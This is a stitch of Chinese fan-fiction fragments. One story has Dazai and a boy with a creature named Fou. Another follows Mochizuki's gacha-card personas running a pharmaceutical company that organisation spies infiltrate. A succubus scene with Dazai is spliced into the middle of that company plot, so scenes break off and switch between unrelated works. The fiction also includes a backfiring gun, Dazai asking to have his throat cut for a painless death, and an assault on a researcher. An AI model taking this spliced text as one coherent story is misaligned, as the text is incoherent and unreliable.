可奇怪的是明明按下了扳机,却没有如往常一样响起枪声,男人得意的笑容逐渐消失。 这么回事?! 他再次按下扳机,但还是没反应。 不可能!? 他提前检查过,枪里面是有子弹的。 为什么? “有人教过我,‘事不过三’。你最好不要再按第三次。”瞧见他慌乱的动作,长发少年声音冷漠地提醒。 男人看着他发愣,突然对着他再次扣下扳机:“你唬谁呢!?” “砰——!” “啊!” 短暂的火光过后,男人难以置信地捂着血肉模糊的手,他的枪炸膛了? “现在你没有枪了,”少年抱着怀中仿真的毛绒娃娃靠近他,“你确定还要留在这里吗?” 他再次提醒:“我看中这间屋子了。” ……他的枪可是一直都有仔细保养的,怎么可能会突然炸膛? 男人瞳孔震颤地望向长发少年。 是他,是他做的,绝对是这样……这个怪物! 靠!他的手伤了,枪也没了,这间好屋子只能让出去了,真晦气! 男人抖着身体快速跑开。 “现在这间屋子是你的了。”太宰治从后面走到长发少年的身边。 “但是你不杀了他吗?我还以为你会杀了他。”两次了哦,面对主动上来挑衅的家伙长发少年两次都放过了呢。 “毕竟他刚刚想杀你不是吗?” 长发少年推开被风吹合上的门,走进屋内。 “我不想做多余的事,” “我只要这间屋子。”- 长发少年打量着屋内还算干净的环境,怀里的芙芙突然挣扎着动作了起来,他稍稍松开手臂,芙芙就迫不及待地跳到地上,它像是巡视领地一般绕着墙壁打转。 大摇大摆地跟着进来的太宰见到这一幕愣了愣,他勾起嘴角轻声问道:“欸~?好神奇啊,你的娃娃会动呢?” “不过,就这么直接让我看见好么?你在大家面前一直都隐瞒着它是活的这件事吧?” 长发少年回头正视他:“芙芙说你早就发现它了。”所以没必要假装不知道芙芙是活的。 “咦?有么?”但太宰治只是疑惑地回看他,纯良的就像个普通单纯的小孩子。 “……” 长发少年不想他了,他抿着嘴转身找个干净的地方坐下。 如果不是芙芙告诉他自己被发现了,他都要被他这副表情骗过去了……这家伙绝对是天生的欺诈者。 像融化的水果糖一样黏腻腻的,太宰治故意挨着长发少年站,他弯腰凑近少年的斗篷,一边看一边观察他的反应。 遗憾的是少年对于他的接近并做出没有任何反应。 是对自己的实力太过自信,认为他不可能伤害到他吗?所以才会觉得他没有威胁? 伸出爪子拨弄了一颗斗篷上挂着的宝石,太宰治轻声道:“你身上带着这么多宝石招摇过市会很多人被盯上的哦。” “与你无关。” “好冷漠啊,明明都默许我的接近了,为什么还会对我说出那么冰冷的话?” “啧。” 太宰治听见了少年口中发出不耐烦的气音,忽地一阵风吹翻了他额前的刘海。 “……!” 顶着突然变得乱糟糟的刘海,太宰治下意识地回头……门,他进来的时候是关上的。 这间屋子的窗户也没有打开过。 ……所以哪来的风? “你有异能。”少年莫名肯定看着他。 “刚才那阵风是因为你?”太宰治暖色的鸢眸逐渐暗沉下来,脸上的天真褪去,无表情的模样让他给人的感觉就是一滩黑乎乎的泥沼。 刚才他是想对他使用异能吗?就像他对前面两个家伙做的一样,他想让他也流血吗? 啊……! 太宰治的眼睛突地发亮,他期待地看向少年:“你能用你的异能就像切之前的家伙的手臂一样切我的脖子吗?” 之前拦住少年的成年人手臂可是整个掉下来了,太宰治有仔细看过,那个切口相当平滑呢!而且如果是少年能像切手臂一样迅速地切他脖子,说不定能让他都没感觉到就死去呢!这么想……真是太棒了! “拜托拜托~” 即使面对太宰治这诡异的突发奇想,少年面上也没有任何反应,他只是道:“不能,我的异能对你没反应。” 太宰治失望地叹了口气,果然啊,这个世界怎么可能让他这么快就找到无痛死亡的方法,唉。 少年却似乎终于有点兴趣地问:“你的异能是什么?” 太宰治笑眯眯地回答:“不~告~诉~你~” “异能可是很私密的东西,怎么能轻易告诉别人呢?” “芙?”注意到他们一直在聊天的芙芙忍不住跳上少年的膝盖,好奇地和太宰治打了个招呼。 “哇!好可爱呀~”太宰治伸手摸了摸芙芙的脑袋。 没有消失,看来不是异能变的呢。 他开朗地竖起一根食指:“不过我们可以用一对一交换哦?” “你告诉我这个奇怪的生物是什么,我告诉你我的异能怎么样?” “它叫芙芙。”少年平静地说。 “……没有了吗?”太宰治歪了歪脑袋。 “嗯。” “那也太公平了!我的异能只能交换它的名字吗?” “……” “看来我们的交易失败了,”太宰治清透的嗓音忽地变得低沉,“我还以为我是特别的呢。”- 少年不解地问:“你为什么会有这种错觉?” 太宰治不满地抗议:“好过分!明明是你一直这么让我觉得的!” “默许我跟着你,还允许我进入‘现在属于你的屋子’,这难道不都在说我是特别的么?” “只是因为你没有威胁而已,”少年的金眸再次恢复了平静,“所以你做什么都无所谓。” 太宰治对此没有意外,眼前的少年果然是个自傲的家伙,不过也确实有自傲的资本就是了,可以伤人于无形的异能啊。 不过他没有威胁什么的……又意外的天真呢。 太宰治:“你是凭什么判定我没有威胁的?” “武力值?” “那你有没有听说过‘在这里不要小看任何老人和孩子’这句话吗?” “你的站着的姿势和走路的姿势都不像是练过体术的样子,而且……”少年抓过他缠着绷带的手腕,“你的手心只有很薄的茧子,这是刚长出来的。” “你是真正养尊处优的少爷,只是最近才来到这样的环境里。”言外之意就是对他这样手无缚鸡之力的少爷,就算小瞧也没关系。 太宰治:“……” 他就像是被人突然捏住爪子的猫一样呆住了,连头上黑色的卷发也微微炸起。 就在他想要抽出手时,又听少年说:“你的异能能抑制我的异能?” 他刚刚试探性发动异能,不出意外的失效了,跟他之前想用气流将太宰治吹出去时一样。遇上太宰治他的异能就失效了,难怪太宰治会毫无畏惧地一直跟在他身后。 “这是偷袭!绝对是偷袭!”太宰治不满地嘟囔。 少年直气壮地移开眼睛:“我只是在验证猜测。” “哼。” 被发觉异能的秘密后,太宰治反倒不急着挣开手了,他轻笑着拽住少年的手:“没错哦,我的异能就是可以抑制你的异能~” “这样的我,你还觉得没有威胁吗?”他恐吓着说,“按照你的话来说,从走姿和站姿上来看你也不像是练过体术的,而且你的手上可是一点茧子也没有呢。” “没有异能的你,在我面前就是一个普通人,或许比普通人还要弱一点哦。我如果想要伤害你,应该是件很轻松的事吧?”太宰治弯着眼眸注视着少年被他拽住还挣脱不开的样子,力气好小。 “放手。”虽然挣脱不了,但少年依旧镇定。 “不要~”太宰治拉长声音。 一道白色的身影猛地冲向他,速度快的他连躲都躲不了。 “唔啊!” 太宰治感到脸上一痛,就被还没他拳头大的后脚踹飞了。 摔到地上后太宰治才看清刚才是芙芙踹的他,并且芙芙还一脸愤怒地朝他叫喊:“芙——芙!” 太宰治惊讶地捂着脸:“欸?”力气好大,明明看起来就一只猫那么大…… 长发少年安抚地拍了拍芙芙的脑袋:“我没事,别担心。” “芙!” 但芙芙还是很生气太宰治刚才威胁少年的行为,它开始用后腿刨着地,似乎准备再踢他一脚。 于是少年看了眼太宰治。 太宰治:“……?”怎么有种不祥的预感?他是笑了吧!少年嘴角的弧度看起来似乎没有任何变化,如果是别人绝对看不出区别,但是在观察力极强的太宰治眼中实在是太明显了,少年的嘴角就是上扬了。 他为什么要笑? 很快他就知道答案了,因为少年说:“你出去吧。” “其实我让你跟进来是因为之前芙芙说喜欢你,但现在芙芙讨厌你了。” “!!” 太宰治立马意识到了少年对他更加容忍的原因。 但是他还没搞清楚自己想知道的事呢,现在可不能被赶走啊! 大概一秒不到他就对少年的驱逐做出了反应。 “我是想提醒你们,不能小看任何似乎很柔弱的存在。”他立即委屈巴巴地看向芙芙,深深地叹了口气,“唉,也可能是我的表达有问题,才让你们误会的……抱歉,但我只是想给你们点帮助。” “我也是才来这里不久,还一直被这里的居民排斥,看到同样是新来的你们我就像看到了同类一样……感觉很亲切。我想要给你们提供善意,但又不希望你们以为擂钵街的孩子都是纯良的,所以才会这么提醒你们。” 最后他还眼泪汪汪地来了一句:“抱歉,芙芙,你可以原谅我用了这样错误的方法吗?” 这真诚的话语,令看见太宰治的眼泪原本还有些迟疑的芙芙立刻放松了警惕,它跳到他面前抬起脑袋蹭了蹭他的手心。 “芙~芙~” 长发少年:“……” 果然是天生的欺诈者,真会演戏。 还专攻芙芙。 关键芙芙还因为他和自己差不多大的缘故对他格外有好感,啧。 一如既往的非酋,只保底了一个新的SR人物卡。 望月恶狠狠地质问系统:“你是不是为了多拿几次抽成,偷偷改了抽卡出货概率?!” 系统欲哭无泪:“我哪有这个权限啊!概率是定死的,我要是能动手脚,早就给你开后门了。” 望月其实是相信它的,嘴上却不依不饶:“撒谎的话就关你小黑屋。” 望月听系统嘤嘤嘤地哭了一会儿,才状似温柔地安慰它: “好啦,我知道自己很非,没有怪你。是我不好,没有出货明明就是抽卡系统的问题嘛,怎么能怪到你头上呢。我向你道歉,不哭了噢。” 他幽幽叹气:“我只是太想早点抽出一张SSR人物卡……照我这样抽下去,什么时候才能帮你凑够路费呢,连解绑都做不到。” 系统呆了呆,这还是它第一次听到宿主用这种语气跟它说话。 一向被怼惯了的系统哪里顶得住美人的温言细语——望月的相貌非常有欺骗性,美男计一用一个准。 它磕磕巴巴地说:“这、这个……” 望月此时正在学校。同班同学们三三两两地聚在一起嬉闹,唯有他独自坐在角落的座位上,微微垂眸,看着有几分沮丧和落寞。 “要是我的下一个十连还是抽到道具卡,那该怎么办?”望月的情绪很低迷,说话声音都低了不少:“虽说SSR级别的道具卡一定很强,可是……” 系统很是心疼,连忙道:“虽然我不能调整概率,但是帮你调整出人物卡和道具卡的比例……这个勉强突破一下,还是可以做到的!” 望月的唇角带上几分笑意:“哦?真的吗?” 系统连连保证:“真的!不过这个是违规的,我恐怕要消耗小金库里的一部分钱,也分不出精力去当水军了。” “正事要紧,反正公司的名气已经不需要水军了。”望月安慰它:“钱赚来就是要花的,用完再攒就好了。” 突破屏障消耗的钱其实不多,但系统是个葛朗台,花一点都心疼。 系统被温言软语地哄了一圈,晕头晕脑地去突破技术屏障了。 它一走,望月就飞快地收起了那副做派。他漫不经心地转了转右手的钢笔,心中感慨。 ——小系统还挺好骗。 啊,突然觉得自己好坏。下次赚到大单,给它一点零用钱补上吧。 他还是第一次用这种招数。 初次使用就如此熟练,难道他在给人挖坑的道路上天赋异禀? 望月心头那点微妙的罪恶感和疑惑,很快就被老师分发下来的试卷冲散。 望月埋头做着课堂小测,做着做着,笔头一顿。 只一瞬停顿,他又面色淡然地往下答题,动作自然,没有引起老师的注意。 有人在他的公司搞事。 ** 近来风头正盛的长谷医药公司,在寸土寸金的东京市中心拥有整整一栋写字楼,引来无数人或明或暗的关注。 身为社长的长谷佑贵早就被人调查过好几遍,从家世到朋友圈,都没有任何权贵财阀的影子——看上去就是什么背景都没有的草根企业家。 这样的背景,却拥有价值千金的药方和科研成果,就像捧着金砖行走在街上的幼童,自然会被人觊觎。 望月对此做了应对措施。 他先是声称自己进行了严格管理,所有资料一律不准带出去,研究员也得深居简出。 他把研究所置于大楼的第33层,几乎是大楼最高层。除了唯一的研究室,几乎没有窗户。通风管道也被锁死,还用上了红外线扫描仪,防止有人从通风管道爬进来。 唯一的入口处守着两个人高马大的保安,轮班制,确保24小时都有人守门。 也不知道这些安保是防止外人进入,还是不让研究员出去。 反正至今没看见过有研究员从里面出来,三餐和日常生活用品倒是有人出来接收——一个戴着黑框眼镜的黑发青年。 这个操作刚实施就骗了不少人,所有人都相信大门里面一定有好东西,价值极高的科研成果,或是其他什么。 可惜,里面只住了一个人,望月抽到的第一个马甲——摸鱼哥。 望月实在受不了摸鱼哥,就算给他设定了工作任务,摸鱼哥都能在最短时间内完成任务,然后划水摸鱼! 卷王震怒! 望月无法接受不做事的马甲,灵机一动,把人塞进了研究所当演员。 好在摸鱼哥的卡牌是个死宅。给一张舒适的床,几台游戏机,时不时更新Steam的游戏库,他就能愉快地呆在屋子里,几乎没有社交需求,也不需要望月分神控制。 望月真正的研究所设在郊外。 研究所的核心是长谷社长,也就是望月自己。其余都是研究分支药物的研究员或助手,人不多,且全都签了保密协议,接受严格但不限制自由的管理。 望月只有一个助手会涉及核心药物——助手也是他自己,就是新抽到的马甲卡,一张拥有六级药理、生化技能的角色。 这样的设置,基本能保证核心资料不会外泄。 望月还在公司推行举报间谍有奖。 第一个被间谍贿赂的员工选择举报,被奖了一套市中心的公寓。 第二个人勇敢举报同事行踪鬼祟,总想着偷电梯卡上33层,望月收到举报后进行调查,又抓出一个间谍,奖励他年终奖翻倍。 因此,对家派来的商业间谍甚至上不去33层,更别提找到真正的研究所。 但今天的情况,似乎有点不同。 长谷社长的特质比较特殊,望月时不时就得回一趟总部,坐一坐社长的办公椅,不然卡牌不会老实搞研究。 今天,望月突发奇想,把社长的办公椅搬进了研究室。 他坐在椅子上,摸鱼哥坐在懒人沙发里,两人联机打游戏。 正打着游戏,传呼机突然滴滴响了起来。 望月放下游戏手柄,摁开传呼机,问:“有什么事?” 那头传来保安的询问:“您叫了披萨外卖吗?外卖员说,是您让他上33楼的。” 望月恍然:“对,是我叫了外卖,让他……” 他正想说把外卖放着,别让人上来,他亲自出去拿。 保安十分熟练地接话:“好的,先生,我现在就送进去。” 望月:?? 他立即打断:“谁允许你进入研究所?把外卖放着,我出来拿!” 望月一开始没想太多,只以为是保安自作主张。 摸鱼哥沉迷游戏,头也没抬,理都没理主控。望月也没管他,拧着眉,穿过长长的全封闭走廊,走到入口处。 入口处有一个厚重的金属门,要刷卡才能打开。 望月从内部刷了社长的通行卡,肃着脸出去。通道外除了一左一右站着的两个彪形大汉,还有一个戴着鸭舌帽的披萨外卖员。 外卖小哥站在几米开外的电梯口,穿着送外卖的马甲,帽檐压得很低,拎着手上的餐盒,幅度很低地抬头瞥了一眼。 从他的视角,能看见金属门缓缓打开,门后是一个穿着衬衫西裤的黑发男人。男人个子极高,有些偏瘦,一双眼睛狭长,眸色阴鸷深沉,面上似有怒容。 同是黑发,与部分员工的私下传言——“被社长关在研究所里的那位先生”——不同,他没有戴标志性的黑框眼镜。 外卖员收回了视线。 望月打量了几眼外卖小哥,那人低着头,他除了看出男人比别人拥有略深的肤色,瞧不出其他的信息。 望月皱着眉头,斥责保安:“怎么还让人上来了?!我难道没有跟你们强调过规定吗?33楼禁止所有人进入!” 他的嗓音沉沉,气势极强。 “餐食和生活物资都由你们领了提上来,里面自会有人过来提进去——” 其中一位保安弱弱开口:“社长先生,可、可是……” 望月冷冷道:“可是什么?” 保安:“这两天的物资,都是由我们帮忙提进去的,是里面那位先生的要求……不过您放心!我们没有进研究室,物资都是在过道上交接的,有监控作证。” 望月差点两眼一黑:“……” 这是他的疏忽。 在马甲的认知中,他的工作从做企划案,变成了伪装研究人员演戏。 摸鱼哥最擅长摸鱼,换了个工作,他也在想方设法偷懒。 摸鱼第一步,让人把饭送进来。 这样他就减少了工作量,可以有更多时间打游戏。 望月内心无比黑线,表面依旧撑着气场,一言不发地注视着保安。 保安的声音在男人的注视下越来越弱,最后也低下了头。 “从今天开始,不允许任何人进出。”望月冷冷道。 保安下意识看了一眼金属门,又极快地收回视线,小声请示:“包括那位先生吗?” “对。”望月毫不犹豫:“东西送到门口,他会拿进去的。” “要是那位先生再让我们送进去……” “不管他,”望月冷酷道:“等他饿了,自然会出来拿。” “这样真的好吗?”保安忐忑不安。 望月不解地皱起眉:“当然。从研究室到大门,也有段距离。起码能让他走动走动,别整天躺——咳。” 躺床上玩游戏。 但后面这句话不好说出口。 望月就收了声,改成:“别整天呆在研究室,搞研究太上头,不顾及身体也不好。” 多爱惜下属的一句话!他甚至不像传统资本家,他在主动关爱下属的身体健康。 望月觉得自己的演技天衣无缝。 但不知道为什么,他说出这句话后,保安的头低得更深了,下巴都快戳到锁骨上。 而电梯口的外卖员则飞快抬头,不着痕迹地、冷冷地盯了他一眼。 望月:? 望月唰地扭头。 等他把视线挪过去,那个奇怪的外卖员又是一副老实巴交的打工人模样,垂着头,脸都看不清。 望月确信自己没有看错,可外卖小哥为什么要用这种炙热的、让人脊背发凉的目光看他? 他没做错什么事啊! 叽叽喳喳说了半天,看面前的这个人类除了脸色白了些,其他一切正常的样子,他也稍微放宽了心。 “人类真是脆弱,好容易死掉……啊,吾辈可不是在关心你哦,只是担心自己吃不上你的童贞而不爽罢了。” 望月声音顿了顿,然后很快兴奋起来,身后的尾巴摇了摇,笑嘻嘻地提议道。 “呐呐~太宰,既然你也都没事情呆在这种地方,不如陪吾辈玩嘛~” “你和中也忙着工作的时候,吾辈一个人又没饭吃又没得玩,都快无聊死了。社畜真可怜——不对,吾辈也很可怜——” 太宰治的眸色闪了闪,随后微微垂下脑袋,声音平静且轻快。 “望月,进门前可是要敲门的哦。” 第 73 章 第七十三章(含2w6营养液加更) 望月眨了眨眼睛,而黑发少年则哼笑了一声,声音轻快地说道。 “至少要获得允许才能进来吧,没礼貌的恶魔。” “谁管你——哼,你有见过哪个魅魔用魔力开门前还要先向主人打招呼的?那样的话就不是魅魔而是开锁师傅了。” 望月理直气壮地说道,丝毫不掩饰自己是怎么打开上锁的门。 太宰倒没有怎么生气,只是似笑非笑地盯着对方。 银发恶魔嘟囔了一会儿,见太宰不作声,干脆直接飘到对方的面前,像是某种顽皮的猫咪般趴在黑发少年的膝盖边。 他的手肘抵在太宰的大腿上,掌根托着脸颊,仰起头看向对方,紫眸狡黠地眯起。 “看起来太宰心情很糟?哼哼~既然这样那就更应该陪吾辈玩了,做点开心的事情让脑袋变得轻飘飘的怎么样呀~” 银发魅魔的声音带着某种蛊惑的意味,身后的尾巴一晃一晃着,扰人心神。 “不要。” “切,吝啬鬼。” 望月也没指望对方能够答应。 望月一通胡说八道,总算把警察劝走了。 警官们其实并不放心,但当事人都这么说了,另一个当事人又迟迟不现身…… 在望月当着大家的面登录了社长的全部账号(甚至包括银行卡),还拿出了社长的专属公章之后,警察们总算确认了小室友江的人身安全不受威胁,愿意放心离开。 当然,小室友江和长谷佑贵的柏拉图情侣身份,也被锤死了。 望月放弃辩解,在适应了这个身份后,反而觉得挺好的。 顶着“未亡人”的名头,之后接管公司也会顺手很多。 搜查一课的警官们刚回到警署,屁股都没坐热板凳,就收到了新的报案——而且还是与长谷社长有关。 目暮警部带着人,马不停蹄地跑到了郊区的研究所。 鉴识课的鉴识官收集了现场的血液、指纹等证据,经过检测,判定留在现场的血迹全部来自于长谷社长。 这么大的出血量,人已经没救了。 但是尸体却不见了。 据说,当时的火警无缘无故响了。研究员们跑出基地后,察觉无事发生,正想回去,手机却收到社长的群发短信,要求他们不准回基地,立刻下班回家。 几乎所有人都走了。 唯有一人,还留在基地里。 但他什么都不知道,因为他被人打晕了,藏在柜子里,还是警方发现了他,将他救醒的。 社长失踪,警方只好通知了研究所的二把手。助理匆匆赶到,协助警方接收了后续事件。 望月用研究助理的马甲去研究所转了一圈,他也找不到社长的尸身。 不会吧,组织该不会把社长的尸体灌了水泥,沉东京湾吧? 凶手迟迟未能抓获。 警方一筹莫展之际,公司也陷入群龙无首的混乱之中,望月见时机差不多了,拿出了存放在助理那儿的社长遗嘱。 遗嘱表示,社长将自己的一切都留给了小室友江。 长谷医药当场换主人,可以改名叫小室医药了。 公司一片哗然,望月用着摸鱼哥的身体,再次坐上了社长的宝座。 也不是没人怀疑这是小室友江的阴谋,可小室一直在33层,从未离开。警察也查过他的通讯,除了叫外卖,基本不跟外人联络。 摸鱼哥跟他的“亡夫”不同,对成为社长一点儿也不感兴趣。 长谷社长搞会儿研究,就要来坐坐社长的椅子。 摸鱼哥坐会儿椅子,就要去摸摸他的游戏手柄。 如此,过去了几天。 望月总算再次将公司稳住,有空闲时间做一些别的事情。 望月站在窗前,对着月色拿出了摸鱼哥的游戏手柄,深情摩挲。 ——难为你了,摸鱼哥,几天没碰游戏。 望月正要退出意识,让摸鱼哥去33层的快乐老家,快活几小时。 他这么通情达理,摸鱼哥应该会很感动叭? 全公司都下班了,社长办公室内也只开了一盏小灯。万籁寂静之时,身后突然传来“嗒”的一声脆响,似是鞋跟落地的声音。 望月的心脏重重一跳,浑身一凉,转身喝道:“是谁?!” “是我。” 来人从办公室的大门处缓缓走进,月色皎皎,将男人的眉眼容貌映照得一清二楚。 那正是诸伏景光。 望月心底一松,吓了他一跳……大半夜的,能不能不要搞这种惊喜。 摸鱼哥还没感动哭,他就差点被吓哭了。 “你是谁?”身着西装的黑发男人,推了推鼻梁上的黑框眼镜,漠然问道。 景光注意到了男人眼尾一闪而过的晶莹,心情复杂。 “我是长谷先生的朋友。”诸伏景光的神情有些微不自然,低声道:“我……是我帮他收敛了尸身。抱歉,我本来第一时间就来找你,但你这几天身旁围着太多人了,我找不到机会。” 景光看见眼前的男人,用警惕的目光,上下打量着自己。 “我见过你。”小室友江说,“你不是送货的快递员吗?叫什么名字?” “……” 诸伏景光没有对此进行解释,只说:“你可以称呼我为苏格兰。” 小室友江沉默片刻,颔首:“好的,苏格兰先生。我只有一个问题,长谷桑的遗体在哪儿?” 诸伏景光念了一个殡仪馆的名字和地址。 他接着说道: “他在临终前,将你托付给我。我会尽力照看你,但任务在身,有时会分身乏术,无法及时赶到。你留在这里并不安全,如果你愿意——” “不必。”青年想都不想就拒绝了他:“公司是他的心血,我哪里都不会去。” “如果是公司,我有办法……” “苏格兰先生。” 诸伏景光停下话头,认真地注视着小室友江。 黑发青年抬眸望过来,面色冷淡。 “恕我直言,你没有必要愧疚。正如长谷桑所说,这是他自己的选择。生死有命,我接受了现实,你也应该接受才是。” 小室友江淡淡道:“归根究底,你与他不过是萍水相逢的陌生人。苏格兰先生,做你这行,太容易心软可不行。” 诸伏景光默然。 “我知道了,我尊重你的意愿。”景光递了一张纸给他,“有需要的话,可以通过这个号码联系我。” 青年没有拒绝他的好意,双手接过:“好,多谢。” 临走之前,诸伏景光问道:“我能问问你和长谷先生的关系吗?你为什么会自愿被他软禁在33层?” 宽大的社长办公桌后,年轻的男人很久都没出声。 景光正要道歉并过掉这个话题,小室友江却突然开口。 “我们是挚友,他有心理阴影,我帮他治病,仅此而已。”小室友江的声音仿佛压抑着什么,像绷紧的弦。 “原来如此。”诸伏景光心下了然,看来恋人去世,对小室的打击很大啊。 已逝的长谷社长和新上任的小室先生之间的旷世绝恋——他们甚至在搞柏拉图的纯爱——这消息早就传遍了全公司,诸伏景光自然早已听完了这个传闻,再次询问,也不过是求证。 但小室友江不想提,诸伏景光就不便多问: 他提出告别:“我该走了。很抱歉,我不方便参加长谷先生的葬礼。” 小室友江起身送他:“没什么,他也不是看重虚礼的人。” 小室友江一直将人送到电梯口,把自己的名片递给诸伏景光。 “苏格兰先生,如果今后你有困难的话,随时给我电话。”男人的表情很认真:“不要推脱,我们也算是朋友了,对吧?” 诸伏景光讶异一瞬,笑着接下了:“当然,小室。” 接下来的日子里,长谷医药公司看似与往日并无区别。 望月没有开除龙舌兰,而是留着他,仍由他当眼线监视自己。 望月用着社长卡,定期前来探望小室友江,每次都会停留几个小时,其余时间都在自己的办公室里,倒是再也没有去研究所。 龙舌兰没收到撤退的命令,被迫留下给长谷公司打工,一连站了好几天岗。他拿着试用期的工资,值班的时间却是别人的两倍。 龙舌兰忿忿不平,凭什么啊! 他转头就去找助理。 助理滴水不漏地背着望月教给她的话,带着几分恨铁不成钢的语气说: “能者多劳,你要表现得好一点,才有机会转正呀!工作时间长一点怎么了,你现在什么都不会,这是给你增长资历的机会呢!” “况且在社长面前露脸的机会可不多……加班费?你还在试用期,等转正后,我们再商量这件事吧。” “总之,公司看好你的潜力,好好干,社长不会亏待你的。”助理鼓励道。 龙舌兰觉得很莫名其妙,这些话说了又好像没说,他还是得加班。他勉为其难地加了两天班,还是没有任何情报。 第三天,龙舌兰忍不下去了,他决定干完今天,就撂挑子走人。 电梯门打开。 一个瘦削的阴鹜男人提着公文包,大步迈出电梯。 “社长!” 真·普通人的保安连忙站直身体,高声向长谷佑贵问好。 “嗯。”黑发男人微微颔首,目光不动声色地扫了龙舌兰一眼,注意到了龙舌兰眼中的不耐和暴躁。 只一眼,便收回了视线,继续前行。 金属门自动合拢,挡住了男人的背影。 二十分钟后,大门比往常都要更早得打开了。 门缝将将扩大半寸,争吵声就隐隐约约传了出来。 两名高大的保安不自觉地投去了视线。 龙舌兰循声望去,瞬间提高了注意力,悄悄竖起耳朵。 先是一个陌生的男声:“我是真的不认识他,不然,我为什么要把这边进了人的事告诉你?” 接着是社长的声音:“……不管是谁,你都不该见。” 陌生男人:“我不是都把他赶走了吗!你一定要揪着这个不放?” 听着像是在为了波本争吵。 龙舌兰心想,波本收尾没收干净啊,连封口都没做。 门缝缓缓变大,哪怕门内的人压低了嗓音,两人对峙的谈话声也非常清晰。 陌生男人:“还有,你前两天干嘛突然拿走我的游戏手柄?你把它放哪儿了?” 社长:“你别管这么多,到时候我会还给你的。” 男人:“我怎么就不能管……” 金属门打开过半,已经能看见两边人的衣服了。 长谷佑贵厉声打断了那个男人:“闭嘴!” 随后又放软语气:“一个手柄而已,等我修好,就会还你了。” “它根本没坏……” 紧跟在社长身后的青年,顶着一头乱糟糟的发,看上去像是在睡梦中被强行叫醒的。 青年失望地看着长谷佑贵:“……我以为我做得够好了。” 长谷佑贵移开视线,低声道:“我还有研究,先走了,忙完就来看你。” 黑发青年的脸色隐隐一变,沉默伫立。 门外门内,两个世界。地砖上那一道留有自动门滑动痕迹的白线,是一道不可跨越的沟壑。 旁人触手可得的自由,对青年而言却咫尺天涯。 长谷社长头也不回地走了。 保安同情地看着青年,龙舌兰倒是铁石心肠,不为所动——这种事他见多了。 小室友江也转身往过道深处而去,背影看着有几分落寞。 一切恢复平静。 只让两位保安看了一出戏。 保安戳了戳龙舌兰,龙舌兰凶神恶煞地问:“做什么?!” 保安缩了缩脖子,小声回道:“你说要不要报警啊?” 龙舌兰:“……” 条子过来是先抓他还是先抓社长,他是要先干掉条子还是干掉这个多管闲事的保安,这都是好问题。 保安:“社长不是用‘担心间谍窃取研究机密’的理由封锁33层么?可他刚刚还说要去研究室!” 龙舌兰一惊,随即大喜。 他得赶紧通知波本,让波本和苏格兰跟上去! 保安还在絮絮叨叨,纠结是要超高薪还是要报警,眼睛一花,同事已经箭步离开。 保安连忙拦住他:“你去哪里?你说到底要不要报警啊?” “这也值得纠结?” 龙舌兰嗤笑,这种事有什么值得找警察。任务外的事,他都不想理会,顿时极不耐烦。 “滚开!别挡路!” 龙舌兰走得潇洒。 保安的脸色变幻多次,最后坚定地掏出了手机。 那位同事长得一副凶神模样,心地倒是很善良。 他说的对,这种事有什么好犹豫的,遇到当然要报警啊! 不能屈服于资本和黑恶势力! 龙舌兰走了大楼的逃生楼梯。 在电梯里面,手机信号很有可能会被影响。他要确保自己第一时间把情报传给波本和苏格兰,以免耽误任务。 他发完短信,下了一层楼。 32层也是社长的私人楼层,现在一个人都没有。 龙舌兰正打算从32楼坐电梯下去,站在电梯门前,一偏头,却看见一条长长的走廊。 远处,走廊的顶灯闪了几下,光线渐渐变暗了几分。 那个走廊跟33层门后的走道太像了,就连门边那两个盆栽都一模一样。 相同的光照强度、角度、一般无二的摆设,以及沿途没有窗户的墙壁。 龙舌兰不由自主地回想起了33层,他从未见过的门后的景色——那个小金丝雀住着的笼牢。 紧接着,他的大脑又把几分钟的争吵对话过了一遍。 龙舌兰静了片刻,没有管抵达楼层后自动打开的电梯门,而是朝社长的卧室迈步。 他发誓,绝对没有产生任何好奇心。 他只是觉得波本说不定会搜漏什么东西,想着再检查一遍罢了。 这几天,降谷零和诸伏景光分配好了时间,轮流在公司附近蹲点。此时,正好轮到诸伏景光。 时隔多日,长谷社长总算踏出了公司。 他再不出来,诸伏景光几乎都要怀疑他是不是知道了点什么——例如有人正在跟踪他,所以不敢离开公司。 龙舌兰的报信来得比社长露脸更快。 诸伏景光立刻通知了波本,并决定自己先跟着社长,免得又一次失去他的行踪。 诸伏景光将现金压在咖啡杯下,起身去开车。 咖啡厅的玻璃门突然被一个青年从肩膀推开,青年侧着身,怀中垒的高高的纸箱几乎完全挡住他的视线。 “抱歉抱歉……麻烦让一让,我来送快递!”快递员高声喊道。 诸伏景光下意识给他让了路,还伸手扶了一把摇摇欲坠的纸箱山。 快递小哥从箱子后抬头,对着诸伏景光笑了一下:“多谢啊。” 咖啡馆正对着公司大门,从玻璃窗可以看见外面马路的每一个动静。 诸伏景光的余光瞥见,一辆黑色的轿车从地下车库缓缓驶出。 那是社长的车。 “不客气,小心一点。”诸伏景光随口回了一句,匆匆推开店门。 快递员把箱子交给前来交接的咖啡店员工,回眸注视着男人离去的背影,唇角微微上扬了一个十分细微的弧度。 下一秒,他的面色恍惚一瞬,眼眸深处那抹灵动的感觉随潮水般褪去。 快递小哥顿了顿,转过头,继续着他的工作。 望月自己跟自己吵了一架,完事后,又间接引导龙舌兰去搜他的卧室。 能够有空闲跟踪他的人只剩下两个,方才,他又用【快递小哥】的马甲现场确认了一遍。 追踪他的人不是降谷零,而是诸伏景光。 这很好。 降谷零比诸伏景光难骗得多,而且后者跟社长有过一段交情,前者什么都没有。 一切都按计划进行着。 望月慢慢开着车,从公司往郊外的研究所驶去。期间,他多次试图从后视镜中寻找到景光跟踪他的蛛丝马迹。 结果什么都发现不了。 “还是有差距的啊。”望月感慨道。 景光是专业训练过的,在追踪与反追踪的课程里下过苦功夫,当然不是望月在一朝一夕之间就能赶上的。 诸伏景光跟着长谷社长,找到了隐藏在山林中的研究所——所以说一个普通的医药公司,为什么会把研究所放在深山老林里啊! 景光想不通。 他只觉得事情变得越发扑朔迷离起来。 研究所很好潜入,安保措施跟33层一样,比上不足比下有余——对普通人而言寸步难行,却难不倒专业人士。 诸伏景光很轻松就潜入了研究所。 今天似乎是研究所的休息日,来往的研究员不多,只有一小部分人还在自己的岗位上。 长谷社长刚研究所,就消失得无影无踪。 诸伏景光慢了半拍,跟丢了人,只好寻找机会胁迫了一个研究员,问到了进入核心研究室的条件——唯有社长和社长助理的手里有开门的身份卡。 等问完话,就把人打晕,塞进了等身高的柜子里。 社长的研究助理三日前就生病,告假回家修养,至今还没能回来上班。 诸伏景光先是从助理的工位上找到了开门的ID卡,然后一路顺利地潜入到了核心研究室的门前。 只差把门刷卡,他就能拿到组织要求的研究资料了。 